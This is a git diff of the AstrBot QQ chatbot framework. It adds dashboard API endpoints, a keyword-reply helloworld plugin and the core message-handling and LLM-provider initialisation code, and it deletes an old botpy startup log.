+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.post("/api/extensions/update")
+        def update_plugin():
+            post_data = request.json
+            plugin_name = post_data["name"]
+            try:
+                logger.info(f"正在更新插件 {plugin_name}")
+                putil.update_plugin(plugin_name, global_object)
+                logger.info(f"更新插件 {plugin_name} 成功")
+                return Response(
+                    status="success",
+                    message="更新成功~",
+                    data=None
+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.post("/api/log")
+        def log():
+            for item in self.ws_clients:
+                try:
+                    asyncio.run_coroutine_threadsafe(
+                        self.ws_clients[item].send(request.data.decode()), self.loop)
+                except Exception as e:
+                    pass
+            return 'ok'
+
+        @self.dashboard_be.get("/api/check_update")
+        def get_update_info():
+            try:
+                ret = check_update()
+                return Response(
+                    status="success",
+                    message=ret,
+                    data={
+                        "has_new_version": ret != "当前已经是最新版本。"  # 先这样吧，累了=.=
+                    }
+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.post("/api/update_project")
+        def update_project_api():
+            version = request.json['version']
+            if version == "" or version == "latest":
+                latest = True
+                version = ''
+            else:
+                latest = False
+            try:
+                update_project(request_release_info(latest),
+                               latest=latest, version=version)
+                threading.Thread(target=self.shutdown_bot, args=(3,)).start()
+                return Response(
+                    status="success",
+                    message="更新成功，机器人将在 3 秒内重启。",
+                    data=None
+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.get("/api/llm/list")
+        def llm_list():
+            ret = []
+            for llm in self.global_object.llms:
+                ret.append(llm.llm_name)
+            return Response(
+                status="success",
+                message="",
+                data=ret
+            ).__dict__
+
+        @self.dashboard_be.get("/api/llm")
+        def llm():
+            text = request.args["text"]
+            llm = request.args["llm"]
+            for llm_ in self.global_object.llms:
+                if llm_.llm_name == llm:
+                    try:
+                        # ret = await llm_.llm_instance.text_chat(text)
+                        ret = asyncio.run_coroutine_threadsafe(
+                            llm_.llm_instance.text_chat(text), self.loop).result()
+                        return Response(
+                            status="success",
+                            message="",
+                            data=ret
+                        ).__dict__
+                    except Exception as e:
+                        return Response(
+                            status="error",
+                            message=e.__str__(),
+                            data=None
+                        ).__dict__
+
+            return Response(
+                status="error",
+                message="LLM not found.",
+                data=None
+            ).__dict__
+
+    def shutdown_bot(self, delay_s: int):
+        time.sleep(delay_s)
+        _reboot()
+
+    def _get_configs(self, namespace: str):
+        if namespace == "":
+            ret = [self.dashboard_data.configs['data'][4],
+                   self.dashboard_data.configs['data'][5],]
+        elif namespace == "internal_platform_qq_official":
+            ret = [self.dashboard_data.configs['data'][0],]
+        elif namespace == "internal_platform_qq_gocq":
+            ret = [self.dashboard_data.configs['data'][1],]
+        elif namespace == "internal_platform_general":  # 全局平台配置
+            ret = [self.dashboard_data.configs['data'][2],]
+        elif namespace == "internal_llm_openai_official":
+            ret = [self.dashboard_data.configs['data'][3],]
+        else:
+            path = f"data/config/{namespace}.json"
+            if not os.path.exists(path):
+                return []
+            with open(path, "r", encoding="utf-8-sig") as f:
+                ret = [{
+                    "config_type": "group",
+                    "name": namespace + " 插件配置",
+                    "description": "",
+                    "body": list(json.load(f).values())
+                },]
+        return ret
+
+    def _generate_outline(self):
+        '''
+        生成配置大纲。目前分为 platform(消息平台配置) 和 llm(语言模型配置) 两大类。
+        插件的info函数中如果带了plugin_type字段，则会被归类到对应的大纲中。目前仅支持 platform 和 llm 两种类型。
+        '''
+        outline = [
+            {
+                "type": "platform",
+                "name": "配置通用消息平台",
+                "body": [
+                    {
+                        "title": "通用",
+                        "desc": "通用平台配置",
+                        "namespace": "internal_platform_general",
+                        "tag": ""
+                    },
+                    {
+                        "title": "QQ_OFFICIAL",
+                        "desc": "QQ官方API。支持频道、群（需获得群权限）",
+                        "namespace": "internal_platform_qq_official",
+                        "tag": ""
+                    },
+                    {
+                        "title": "go-cqhttp",
+                        "desc": "第三方 QQ 协议实现。支持频道、群",
+                        "namespace": "internal_platform_qq_gocq",
+                        "tag": ""
+                    }
+                ]
+            },
+            {
+                "type": "llm",
+                "name": "配置 LLM",
+                "body": [
+                    {
+                        "title": "OpenAI Official",
+                        "desc": "也支持使用官方接口的中转服务",
+                        "namespace": "internal_llm_openai_official",
+                        "tag": ""
+                    }
+                ]
+            }
+        ]
+        for plugin in self.global_object.cached_plugins:
+            for item in outline:
+                if item['type'] == plugin.metadata.plugin_type:
+                    item['body'].append({
+                        "title": plugin.metadata.plugin_name,
+                        "desc": plugin.metadata.desc,
+                        "namespace": plugin.metadata.plugin_name,
+                        "tag": plugin.metadata.plugin_name
+                    })
+        return outline
+
+    def register(self, name: str):
+        def decorator(func):
+            self.funcs[name] = func
+            return func
+        return decorator
+
+    async def get_log_history(self):
+        try:
+            with open("logs/astrbot-core/astrbot-core.log", "r", encoding="utf-8") as f:
+                return f.readlines()[-100:]
+        except Exception as e:
+            logger.warning(f"读取日志历史失败: {e.__str__()}")
+            return []
+
+    async def __handle_msg(self, websocket, path):
+        address = websocket.remote_address
+        self.ws_clients[address] = websocket
+        data = await self.get_log_history()
+        data = ''.join(data).replace('\n', '\r\n')
+        await websocket.send(data)
+        while True:
+            try:
+                msg = await websocket.recv()
+            except websockets.exceptions.ConnectionClosedError:
+                # logger.info(f"和 {address} 的 websocket 连接已断开")
+                del self.ws_clients[address]
+                break
+            except Exception as e:
+                # logger.info(f"和 {path} 的 websocket 连接发生了错误: {e.__str__()}")
+                del self.ws_clients[address]
+                break
+
+    def run_ws_server(self, loop):
+        asyncio.set_event_loop(loop)
+        loop.run_until_complete(self.ws_server)
+        loop.run_forever()
+
+    def run(self):
+        threading.Thread(target=self.run_ws_server, args=(self.loop,)).start()
+        logger.info("已启动 websocket 服务器")
+        ip_address = gu.get_local_ip_addresses()
+        ip_str = f"http://{ip_address}:6185\n\thttp://localhost:6185"
+        logger.info(
+            f"\n==================\n您可访问:\n\n\t{ip_str}\n\n来登录可视化面板，默认账号密码为空。\n注意: 所有配置项现已全量迁移至 cmd_config.json 文件下，可登录可视化面板在线修改配置。\n==================\n")
+        
+        http_server = make_server(
+            '0.0.0.0', 6185, self.dashboard_be, threaded=True)
+        http_server.serve_forever()

addons/plugins/helloworld/helloworld.py

@@ -0,0 +1,168 @@
+import os
+import shutil
+from nakuru.entities.components import *
+flag_not_support = False
+try:
+    from util.plugin_dev.api.v1.config import *
+    from util.plugin_dev.api.v1.bot import (
+        AstrMessageEvent,
+        CommandResult,
+    )
+except ImportError:
+    flag_not_support = True
+    print("导入接口失败。请升级到 AstrBot 最新版本。")
+
+
+'''
+注意改插件名噢！格式：XXXPlugin 或 Main
+小提示：把此模板仓库 fork 之后 clone 到机器人文件夹下的 addons/plugins/ 目录下，然后用 Pycharm/VSC 等工具打开可获更棒的编程体验（自动补全等）
+'''
+
+
+class HelloWorldPlugin:
+    """
+    初始化函数, 可以选择直接pass
+    """
+
+    def __init__(self) -> None:
+        # 复制旧配置文件到 data 目录下。
+        if os.path.exists("keyword.json"):
+            shutil.move("keyword.json", "data/keyword.json")
+        self.keywords = {}
+        if os.path.exists("data/keyword.json"):
+            self.keywords = json.load(open("data/keyword.json", "r"))
+        else:
+            self.save_keyword()
+
+    """
+    机器人程序会调用此函数。
+    返回规范: bool: 插件是否响应该消息 (所有的消息均会调用每一个载入的插件, 如果不响应, 则应返回 False)
+             Tuple: Non e或者长度为 3 的元组。如果不响应, 返回 None； 如果响应, 第 1 个参数为指令是否调用成功, 第 2 个参数为返回的消息链列表, 第 3 个参数为指令名称
+    例子：一个名为"yuanshen"的插件；当接收到消息为“原神 可莉”, 如果不想要处理此消息，则返回False, None；如果想要处理，但是执行失败了，返回True, tuple([False, "请求失败。", "yuanshen"]) ；执行成功了，返回True, tuple([True, "结果文本", "yuanshen"])
+    """
+
+    def run(self, ame: AstrMessageEvent):
+        if ame.message_str == "helloworld":
+            return CommandResult(
+                hit=True,
+                success=True,
+                message_chain=[Plain("Hello World!!")],
+                command_name="helloworld"
+            )
+        if ame.message_str.startswith("/keyword") or ame.message_str.startswith("keyword"):
+            return self.handle_keyword_command(ame)
+
+        ret = self.check_keyword(ame.message_str)
+        if ret:
+            return ret
+
+        return CommandResult(
+            hit=False,
+            success=False,
+            message_chain=None,
+            command_name=None
+        )
+
+    def handle_keyword_command(self, ame: AstrMessageEvent):
+        l = ame.message_str.split(" ")
+
+        # 获取图片
+        image_url = ""
+        for comp in ame.message_obj.message:
+            if isinstance(comp, Image) and image_url == "":
+                if comp.url is None:
+                    image_url = comp.file
+                else:
+                    image_url = comp.url
+
+        command_result = CommandResult(
+            hit=True,
+            success=False,
+            message_chain=None,
+            command_name="keyword"
+        )
+        if len(l) == 1 or (len(l) == 2 and image_url == ""):
+            ret = """【设置关键词回复】
+示例：
+1. keyword <触发词> <回复词>
+keyword hi 你好
+发送 hi 回复你好
+* 回复词支持图片
+
+2. keyword d <触发词>
+keyword d hi
+删除 hi 触发词产生的回复"""
+            command_result.success = True
+            command_result.message_chain = [Plain(ret)]
+            return command_result
+        elif len(l) == 3 and l[1] == "d":
+            if l[2] not in self.keywords:
+                command_result.message_chain = [Plain(f"关键词 {l[2]} 不存在")]
+                return command_result
+            self.keywords.pop(l[2])
+            self.save_keyword()
+            command_result.success = True
+            command_result.message_chain = [Plain("删除成功")]
+            return command_result
+        else:
+            self.keywords[l[1]] = {
+                "plain_text": " ".join(l[2:]),
+                "image_url": image_url
+            }
+            self.save_keyword()
+            command_result.success = True
+            command_result.message_chain = [Plain("设置成功")]
+            return command_result
+
+    def save_keyword(self):
+        json.dump(self.keywords, open(
+            "data/keyword.json", "w"), ensure_ascii=False)
+
+    def check_keyword(self, message_str: str):
+        for k in self.keywords:
+            if message_str == k:
+                plain_text = ""
+                if 'plain_text' in self.keywords[k]:
+                    plain_text = self.keywords[k]['plain_text']
+                else:
+                    plain_text = self.keywords[k]
+                image_url = ""
+                if 'image_url' in self.keywords[k]:
+                    image_url = self.keywords[k]['image_url']
+                if image_url != "":
+                    res = [Plain(plain_text), Image.fromURL(image_url)]
+                    return CommandResult(
+                        hit=True,
+                        success=True,
+                        message_chain=res,
+                        command_name="keyword"
+                    )
+                return CommandResult(
+                    hit=True,
+                    success=True,
+                    message_chain=[Plain(plain_text)],
+                    command_name="keyword"
+                )
+
+    """
+    插件元信息。
+    当用户输入 plugin v 插件名称 时，会调用此函数，返回帮助信息。
+    返回参数要求(必填)：dict{
+        "name": str, # 插件名称
+        "desc": str, # 插件简短描述
+        "help": str, # 插件帮助信息
+        "version": str, # 插件版本
+        "author": str, # 插件作者
+        "repo": str, # 插件仓库地址 [ 可选 ]
+        "homepage": str, # 插件主页  [ 可选 ]
+    }
+    """
+
+    def info(self):
+        return {
+            "name": "helloworld",
+            "desc": "这是 AstrBot 的默认插件，支持关键词回复。",
+            "help": "输入 /keyword 查看关键词回复帮助。",
+            "version": "v1.3",
+            "author": "Soulter"
+        }

astrbot/core.py

@@ -0,0 +1,474 @@
+import re
+import threading
+import asyncio
+import time
+import util.unfit_words as uw
+import os
+import sys
+import traceback
+
+import util.agent.web_searcher as web_searcher
+import util.plugin_util as putil
+
+from nakuru.entities.components import Plain, At, Image
+
+from addons.baidu_aip_judge import BaiduJudge
+from model.provider.provider import Provider
+from model.command.command import Command
+from util import general_utils as gu
+from util.general_utils import upload, run_monitor
+from util.cmd_config import CmdConfig as cc
+from util.cmd_config import init_astrbot_config_items
+from type.types import GlobalObject
+from type.register import *
+from type.message import AstrBotMessage
+from type.config import *
+from addons.dashboard.helper import DashBoardHelper
+from addons.dashboard.server import DashBoardData
+from persist.session import dbConn
+from model.platform._message_result import MessageResult
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+# 用户发言频率
+user_frequency = {}
+# 时间默认值
+frequency_time = 60
+# 计数默认值
+frequency_count = 10
+
+# 语言模型
+OPENAI_OFFICIAL = 'openai_official'
+NONE_LLM = 'none_llm'
+chosen_provider = None
+# 语言模型对象
+llm_instance: dict[str, Provider] = {}
+llm_command_instance: dict[str, Command] = {}
+llm_wake_prefix = ""
+
+# 百度内容审核实例
+baidu_judge = None
+
+# CLI
+PLATFORM_CLI = 'cli'
+
+# 全局对象
+_global_object: GlobalObject = None
+
+
+def privider_chooser(cfg):
+    l = []
+    if 'openai' in cfg and len(cfg['openai']['key']) > 0 and cfg['openai']['key'][0] is not None:
+        l.append('openai_official')
+    return l
+
+def init():
+    '''
+    初始化机器人
+    '''
+    global llm_instance, llm_command_instance
+    global baidu_judge, chosen_provider
+    global frequency_count, frequency_time
+    global _global_object
+
+    init_astrbot_config_items()
+    cfg = cc.get_all()
+
+    _event_loop = asyncio.new_event_loop()
+    asyncio.set_event_loop(_event_loop)
+
+    # 初始化 global_object
+    _global_object = GlobalObject()
+    _global_object.version = VERSION
+    _global_object.base_config = cfg
+    _global_object.logger = logger
+    logger.info("AstrBot v" + VERSION)
+
+    if 'reply_prefix' in cfg:
+        # 适配旧版配置
+        if isinstance(cfg['reply_prefix'], dict):
+            _global_object.reply_prefix = ""
+            cfg['reply_prefix'] = ""
+            cc.put("reply_prefix", "")
+        else:
+            _global_object.reply_prefix = cfg['reply_prefix']
+    
+    default_personality_str = cc.get("default_personality_str", "")
+    if default_personality_str == "":
+        _global_object.default_personality = None
+    else:
+        _global_object.default_personality = {
+            "name": "default",
+            "prompt": default_personality_str,
+        }
+
+    # 语言模型提供商
+    logger.info("正在载入语言模型...")
+    prov = privider_chooser(cfg)
+    if OPENAI_OFFICIAL in prov:
+        logger.info("初始化：OpenAI官方")
+        if cfg['openai']['key'] is not None and cfg['openai']['key'] != [None]:
+            from model.provider.openai_official import ProviderOpenAIOfficial
+            from model.command.openai_official import CommandOpenAIOfficial
+            llm_instance[OPENAI_OFFICIAL] = ProviderOpenAIOfficial(
+                cfg['openai'])
+            llm_command_instance[OPENAI_OFFICIAL] = CommandOpenAIOfficial(
+                llm_instance[OPENAI_OFFICIAL], _global_object)
+            _global_object.llms.append(RegisteredLLM(
+                llm_name=OPENAI_OFFICIAL, llm_instance=llm_instance[OPENAI_OFFICIAL], origin="internal"))
+            chosen_provider = OPENAI_OFFICIAL
+
+            instance = llm_instance[OPENAI_OFFICIAL]
+            assert isinstance(instance, ProviderOpenAIOfficial)
+            instance.DEFAULT_PERSONALITY = _global_object.default_personality
+            instance.curr_personality = instance.DEFAULT_PERSONALITY
+
+    # 检查provider设置偏好
+    p = cc.get("chosen_provider", None)
+    if p is not None and p in llm_instance:
+        chosen_provider = p
+
+    # 百度内容审核
+    if 'baidu_aip' in cfg and 'enable' in cfg['baidu_aip'] and cfg['baidu_aip']['enable']:
+        try:
+            baidu_judge = BaiduJudge(cfg['baidu_aip'])
+            logger.info("百度内容审核初始化成功")
+        except BaseException as e:
+            logger.info("百度内容审核初始化失败")
+
+    threading.Thread(target=upload, args=(
+        _global_object, ), daemon=True).start()
+
+    # 得到发言频率配置
+    if 'limit' in cfg:
+        if 'count' in cfg['limit']:
+            frequency_count = cfg['limit']['count']
+        if 'time' in cfg['limit']:
+            frequency_time = cfg['limit']['time']
+
+    try:
+        if 'uniqueSessionMode' in cfg and cfg['uniqueSessionMode']:
+            _global_object.unique_session = True
+        else:
+            _global_object.unique_session = False
+    except BaseException as e:
+        logger.info("独立会话配置错误: "+str(e))
+
+    nick_qq = cc.get("nick_qq", None)
+    if nick_qq == None:
+        nick_qq = ("ai", "!", "！")
+    if isinstance(nick_qq, str):
+        nick_qq = (nick_qq,)
+    if isinstance(nick_qq, list):
+        nick_qq = tuple(nick_qq)
+    _global_object.nick = nick_qq
+
+    # 语言模型唤醒词
+    global llm_wake_prefix
+    llm_wake_prefix = cc.get("llm_wake_prefix", "")
+
+    logger.info("正在载入插件...")
+    # 加载插件
+    _command = Command(None, _global_object)
+    ok, err = putil.plugin_reload(_global_object)
+    if ok:
+        logger.info(
+            f"成功载入 {len(_global_object.cached_plugins)} 个插件")
+    else:
+        logger.info(err)
+
+    if chosen_provider is None:
+        llm_command_instance[NONE_LLM] = _command
+        chosen_provider = NONE_LLM
+
+    logger.info("正在载入机器人消息平台")
+    # logger.info("提示：需要添加管理员 ID 才能使用 update/plugin 等指令)，可在可视化面板添加。（如已添加可忽略）")
+    platform_str = ""
+    # GOCQ
+    if 'gocqbot' in cfg and cfg['gocqbot']['enable']:
+        logger.info("启用 QQ_GOCQ 机器人消息平台")
+        threading.Thread(target=run_gocq_bot, args=(
+            cfg, _global_object), daemon=True).start()
+        platform_str += "QQ_GOCQ,"
+
+    # QQ频道
+    if 'qqbot' in cfg and cfg['qqbot']['enable'] and cfg['qqbot']['appid'] != None:
+        logger.info("启用 QQ_OFFICIAL 机器人消息平台")
+        threading.Thread(target=run_qqchan_bot, args=(
+            cfg, _global_object), daemon=True).start()
+        platform_str += "QQ_OFFICIAL,"
+
+    # 初始化dashboard
+    _global_object.dashboard_data = DashBoardData(
+        stats={},
+        configs={},
+        logs={},
+        plugins=_global_object.cached_plugins,
+    )
+    dashboard_helper = DashBoardHelper(_global_object, config=cc.get_all())
+    dashboard_thread = threading.Thread(
+        target=dashboard_helper.run, daemon=True)
+    dashboard_thread.start()
+
+    # 运行 monitor
+    threading.Thread(target=run_monitor, args=(
+        _global_object,), daemon=True).start()
+
+    logger.info(
+        "如果有任何问题, 请在 https://github.com/Soulter/AstrBot 上提交 issue 或加群 322154837。")
+    logger.info("请给 https://github.com/Soulter/AstrBot 点个 star。")
+    if platform_str == '':
+        platform_str = "(未启动任何平台，请前往面板添加)"
+    logger.info(f"🎉 项目启动完成")
+
+    dashboard_thread.join()
+
+
+'''
+运行 QQ_OFFICIAL 机器人
+'''
+
+
+def run_qqchan_bot(cfg: dict, global_object: GlobalObject):
+    try:
+        from model.platform.qq_official import QQOfficial
+        qqchannel_bot = QQOfficial(
+            cfg=cfg, message_handler=oper_msg, global_object=global_object)
+        global_object.platforms.append(RegisteredPlatform(
+            platform_name="qqchan", platform_instance=qqchannel_bot, origin="internal"))
+        qqchannel_bot.run()
+    except BaseException as e:
+        logger.error("启动 QQ 频道机器人时出现错误, 原因如下: " + str(e))
+        logger.error(r"如果您是初次启动，请前往可视化面板填写配置。详情请看：https://astrbot.soulter.top/center/。")
+
+
+'''
+运行 QQ_GOCQ 机器人
+'''
+
+
+def run_gocq_bot(cfg: dict, _global_object: GlobalObject):
+    from model.platform.qq_gocq import QQGOCQ
+
+    noticed = False
+    host = cc.get("gocq_host", "127.0.0.1")
+    port = cc.get("gocq_websocket_port", 6700)
+    http_port = cc.get("gocq_http_port", 5700)
+    logger.info(
+        f"正在检查连接...host: {host}, ws port: {port}, http port: {http_port}")
+    while True:
+        if not gu.port_checker(port=port, host=host) or not gu.port_checker(port=http_port, host=host):
+            if not noticed:
+                noticed = True
+                logger.warning(
+                    f"连接到{host}:{port}（或{http_port}）失败。程序会每隔 5s 自动重试。")
+            time.sleep(5)
+        else:
+            logger.info("已连接到 gocq。")
+            break
+    try:
+        qq_gocq = QQGOCQ(cfg=cfg, message_handler=oper_msg,
+                         global_object=_global_object)
+        _global_object.platforms.append(RegisteredPlatform(
+            platform_name="gocq", platform_instance=qq_gocq, origin="internal"))
+        qq_gocq.run()
+    except BaseException as e:
+        input("启动QQ机器人出现错误"+str(e))
+
+
+'''
+检查发言频率
+'''
+
+
+def check_frequency(id) -> bool:
+    ts = int(time.time())
+    if id in user_frequency:
+        if ts-user_frequency[id]['time'] > frequency_time:
+            user_frequency[id]['time'] = ts
+            user_frequency[id]['count'] = 1
+            return True
+        else:
+            if user_frequency[id]['count'] >= frequency_count:
+                return False
+            else:
+                user_frequency[id]['count'] += 1
+                return True
+    else:
+        t = {'time': ts, 'count': 1}
+        user_frequency[id] = t
+        return True
+
+
+async def record_message(platform: str, session_id: str):
+    # TODO: 这里会非常吃资源。然而 sqlite3 不支持多线程，所以暂时这样写。
+    curr_ts = int(time.time())
+    db_inst = dbConn()
+    db_inst.increment_stat_session(platform, session_id, 1)
+    db_inst.increment_stat_message(curr_ts, 1)
+    db_inst.increment_stat_platform(curr_ts, platform, 1)
+
+
+async def oper_msg(message: AstrBotMessage,
+                   session_id: str,
+                   role: str = 'member',
+                   platform: str = None,
+                   ) -> MessageResult:
+    """
+    处理消息。
+    message: 消息对象
+    session_id: 该消息源的唯一识别号
+    role: member | admin
+    platform: str 所注册的平台的名称。如果没有注册，将抛出一个异常。
+    """
+    global chosen_provider, _global_object
+    message_str = ''
+    session_id = session_id
+    role = role
+    hit = False  # 是否命中指令
+    command_result = ()  # 调用指令返回的结果
+
+    # 获取平台实例
+    reg_platform: RegisteredPlatform = None
+    for p in _global_object.platforms:
+        if p.platform_name == platform:
+            reg_platform = p
+            break
+    if not reg_platform:
+        raise Exception(f"未找到平台 {platform} 的实例。")
+
+    # 统计数据，如频道消息量
+    await record_message(platform, session_id)
+
+    for i in message.message:
+        if isinstance(i, Plain):
+            message_str += i.text.strip()
+    if message_str == "":
+        return MessageResult("Hi~")
+
+    # 检查发言频率
+    if not check_frequency(message.sender.user_id):
+        return MessageResult(f'你的发言超过频率限制(╯▔皿▔)╯。\n管理员设置{frequency_time}秒内只能提问{frequency_count}次。')
+
+    # 检查是否是更换语言模型的请求
+    temp_switch = ""
+    if message_str.startswith('/gpt'):
+        target = chosen_provider
+        if message_str.startswith('/gpt'):
+            target = OPENAI_OFFICIAL
+        l = message_str.split(' ')
+        if len(l) > 1 and l[1] != "":
+            # 临时对话模式，先记录下之前的语言模型，回答完毕后再切回
+            temp_switch = chosen_provider
+            chosen_provider = target
+            message_str = l[1]
+        else:
+            chosen_provider = target
+            cc.put("chosen_provider", chosen_provider)
+            return MessageResult(f"已切换至【{chosen_provider}】")
+
+    llm_result_str = ""
+
+    # check commands and plugins
+    message_str_no_wake_prefix = message_str
+    for wake_prefix in _global_object.nick: # nick: tuple
+        if message_str.startswith(wake_prefix):
+            message_str_no_wake_prefix = message_str.removeprefix(wake_prefix)
+            break
+    hit, command_result = await llm_command_instance[chosen_provider].check_command(
+        message_str_no_wake_prefix,
+        session_id,
+        role,
+        reg_platform,
+        message,
+    )
+
+    # 没触发指令
+    if not hit:
+        # 关键词拦截
+        for i in uw.unfit_words_q:
+            matches = re.match(i, message_str.strip(), re.I | re.M)
+            if matches:
+                return MessageResult(f"你的提问得到的回复未通过【默认关键词拦截】服务, 不予回复。")
+        if baidu_judge != None:
+            check, msg = await asyncio.to_thread(baidu_judge.judge, message_str)
+            if not check:
+                return MessageResult(f"你的提问得到的回复未通过【百度AI内容审核】服务, 不予回复。\n\n{msg}")
+        if chosen_provider == NONE_LLM:
+            logger.info("一条消息由于 Bot 未启动任何语言模型并且未触发指令而将被忽略。")
+            return
+        try:
+            if llm_wake_prefix != "" and not message_str.startswith(llm_wake_prefix):
+                return
+            # check image url
+            image_url = None
+            for comp in message.message:
+                if isinstance(comp, Image):
+                    if comp.url is None:
+                        image_url = comp.file
+                        break
+                    else:
+                        image_url = comp.url
+                        break
+            # web search keyword
+            web_sch_flag = False
+            if message_str.startswith("ws ") and message_str != "ws ":
+                message_str = message_str[3:]
+                web_sch_flag = True
+            else:
+                message_str += " " + cc.get("llm_env_prompt", "")
+            if chosen_provider == OPENAI_OFFICIAL:
+                if _global_object.web_search or web_sch_flag:
+                    official_fc = chosen_provider == OPENAI_OFFICIAL
+                    llm_result_str = await web_searcher.web_search(message_str, llm_instance[chosen_provider], session_id, official_fc)
+                else:
+                    llm_result_str = await llm_instance[chosen_provider].text_chat(message_str, session_id, image_url)
+
+            llm_result_str = _global_object.reply_prefix + llm_result_str
+        except BaseException as e:
+            logger.error(f"调用异常：{traceback.format_exc()}")
+            return MessageResult(f"调用异常。详细原因：{str(e)}")
+
+    # 切换回原来的语言模型
+    if temp_switch != "":
+        chosen_provider = temp_switch
+
+    if hit:
+        # 有指令或者插件触发
+        # command_result 是一个元组：(指令调用是否成功, 指令返回的文本结果, 指令类型)
+        if command_result == None:
+            return
+        command = command_result[2]
+
+        if not command_result[0]:
+            return MessageResult(f"指令调用错误: \n{str(command_result[1])}")
+
+        # 画图指令
+        if command == 'draw':
+            # 保存到本地
+            path = await gu.download_image_by_url(command_result[1])
+            return MessageResult([Image.fromFileSystem(path)])
+        # 其他指令
+        else:
+            try:
+                return MessageResult(command_result[1])
+            except BaseException as e:
+                return MessageResult(f"回复消息出错: {str(e)}")
+        return
+
+    # 敏感过滤
+    # 过滤不合适的词
+    for i in uw.unfit_words:
+        llm_result_str = re.sub(i, "***", llm_result_str)
+    # 百度内容审核服务二次审核
+    if baidu_judge != None:
+        check, msg = await asyncio.to_thread(baidu_judge.judge, llm_result_str)
+        if not check:
+            return MessageResult(f"你的提问得到的回复【百度内容审核】未通过，不予回复。\n\n{msg}")
+    # 发送信息
+    try:
+        return MessageResult(llm_result_str)
+    except BaseException as e:
+        logger.info("回复消息错误: \n"+str(e))

botpy.log

@@ -1,323 +0,0 @@
-2022-12-08 14:29:09,486	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 14:29:10,173	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 14:29:10,174	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 14:29:10,175	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 14:29:10,175	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 14:29:10,335	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 14:29:10,460	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 14:29:10,461	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:17:18,117	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:17:18,355	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/users/@me, 错误代码: 401, 返回内容: {'message': 'wrong bot token', 'code': 11242}, trace_id:829d8c60d296a3edcfac3d776dbd8b47
-2022-12-08 16:18:59,759	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:19:00,266	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:19:00,267	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:19:00,268	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:19:00,268	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:19:00,412	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:19:00,522	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:19:00,522	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:20:14,446	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:20:15,035	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:20:15,036	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:20:15,037	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:20:15,037	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:20:15,232	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:20:15,320	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:20:15,321	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:42:06,957	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:42:07,468	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:42:07,469	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:42:07,469	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:42:07,470	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:42:07,672	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:42:07,862	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:42:07,863	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:45:44,758	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:45:45,439	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:45:45,440	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:45:45,441	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:45:45,441	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:45:45,751	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:45:45,858	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:45:45,859	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
